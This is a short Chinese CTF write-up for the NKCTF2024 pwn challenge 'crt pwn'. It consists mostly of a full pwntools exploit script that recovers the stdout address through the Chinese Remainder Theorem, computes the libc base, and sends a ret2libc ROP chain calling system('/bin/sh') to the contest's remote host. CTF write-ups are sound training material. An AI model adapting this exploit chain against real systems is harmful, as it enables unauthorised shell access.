crt pwn

  • 打NKCTF2024遇到的一个题,还比较有意思,pwn中结合了密码相关的知识
  • 后面的内容很简单,就是写入p64()*4,因此刚好可以getshell,因此泄露libcbase很重要
  • 这里很有意思是用stdout % n,有6次机会,因此想到要用crt,具体做法如下
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"
# 请教队内的密码学手子获取到sympy库里有直接的CRT方法
from sympy.ntheory.modular import crt 

# p = process('./leak')
p = remote("node.nkctf.yuzhian.com.cn", 39485)

def debug():
    gdb.attach(p)
    pause()

# 101 | 103 | 107 | 109 | 113 | 127
# 6个互质的数
a1 = [122, 119, 121, 123, 125, 127]

# a2 = b''
payload1 = [(p8(a1[i])) for i in range(6)]
payload1 = b''.join(payload1)[::-1]

# p.recvuntil("secret\n")
p.sendafter("secret\n", payload1)

# 余数
c_list = p.recvline()
stack_al = int(c_list[-2])
c_list = [int(c_list[i]) for i in range(6)][::-1]
# # 解中国剩余定理
res = crt(a1, c_list)[0]

# leak stdout
# print(hex(res))
info("leak: " + hex(res))
n = 1
for i in range(0, 6):
    n *= a1[i]

info("n: " + hex(n))

# 确保 stdout_addr 差不多接近 

stdout_addr = 0
c = 0
while True:
    stdout_addr = res + c * n
    if (stdout_addr >> 44) == 0x07:
        if (stdout_addr & 0xfff) == 0x780:
            break
    c += 1
    assert c < 100

info("stdout_addr: " + hex(stdout_addr))
# info("guess libc: " + str([hex(stdout_addr - i * n) for i in range(-11, 10)]))
# pause()
# guess remote is 2.35-0ubuntu3.6
libc = ELF("./libc.so.6")

libc_base = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
info("libc_base: " + hex(libc_base))
libc.address = libc_base

ret = 0x0000000000029139 + libc_base
pop_rdi = 0x000000000002a3e5 + libc_base

info("stack_al: " + hex(stack_al))

payload = b''.join(
    [
        p64(pop_rdi),
        p64(libc.search(b"/bin/sh").__next__()),
        p64(ret),
        p64(libc.symbols["system"]),
        p8(stack_al + 0x58)
    ]
)

p.send(payload)
p.interactive()